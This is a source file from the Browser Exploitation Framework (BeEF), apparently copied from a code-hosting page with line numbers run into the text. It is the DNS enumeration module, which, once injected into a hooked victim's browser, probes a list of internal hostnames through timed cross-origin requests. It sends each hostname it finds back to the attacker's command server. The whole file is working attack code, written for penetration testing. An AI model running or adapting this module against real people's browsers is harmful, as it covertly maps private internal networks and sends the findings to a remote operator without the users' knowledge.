Path: blob/master/modules/network/dns_enumeration/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78var dns_list = "<%= @dns_list %>";9var timeout = parseInt("<%= @timeout %>");1011var cont=0;12var port = 900;13var protocol="http://";14var hostnames;1516if(dns_list!="%default%") {17hostnames = dns_list.split(",");18} else {19hostnames = new Array("abc", "about", "accounts", "admin", "administrador", "administrator", "ads", "adserver", "adsl", "agent", "blog", "channel", "client", "dev", "dev1", "dev2", "dev3", "dev4", "dev5", "dmz", "dns", "dns0", "dns1", "dns2", "dns3", "extern", "extranet", "file", "forum", "forums", "ftp", "ftpserver", "host", "http", "https", "ida", "ids", "imail", "imap", "imap3", "imap4", "install", "intern", "internal", "intranet", "irc", "linux", "log", "mail", "map", "member", "members", "name", "nc", "ns", "ntp", "ntserver", "office", "owa", "phone", "pop", "ppp1", "ppp10", "ppp11", "ppp12", "ppp13", "ppp14", "ppp15", "ppp16", "ppp17", "ppp18", "ppp19", "ppp2", "ppp20", "ppp21", "ppp3", "ppp4", "ppp5", "ppp6", "ppp7", "ppp8", "ppp9", "pptp", "print", "printer", "project", "pub", "public", "preprod", "root", "route", "router", "server", "smtp", "sql", "sqlserver", "ssh", "telnet", "time", "voip", "w", "webaccess", "webadmin", "webmail", "webserver", "website", "win", "windows", "ww", "www", "wwww", "xml");20}2122function notify() {23beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Internal DNS found: '+ hostnames[cont]);24check_next();25}2627function check_next() {28cont++;29if(cont<hostnames.length) do_resolv(protocol + hostnames[cont] + ":" + port);30else setTimeout(function(){ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=DNS Enumeration done') }, 1000);31}3233function do_resolv(url) {34// Cross Origin Resource Sharing call35var xhr = new XMLHttpRequest();36if("withCredentials" in xhr) {37xhr.open("GET", url, true);38} else if(typeof XDomainRequest != "undefined") {39xhr = new XDomainRequest();40xhr.open("GET",url);41} else {42return -1;43}4445xhr.onreadystatechange= function(e) { if(xhr.readyState==4) { clearTimeout(p); check_next(); } };46xhr.send();47var p = setTimeout(function() { xhr.onreadystatechange = function(evt) {}; notify(); }, timeout);48}4950beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Starting DNS enumeration: '+ hostnames.length + ' hostnames loaded');51if(do_resolv(protocol + hostnames[0] + ":" + port)==-1) {52beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser not supported');53}5455});565758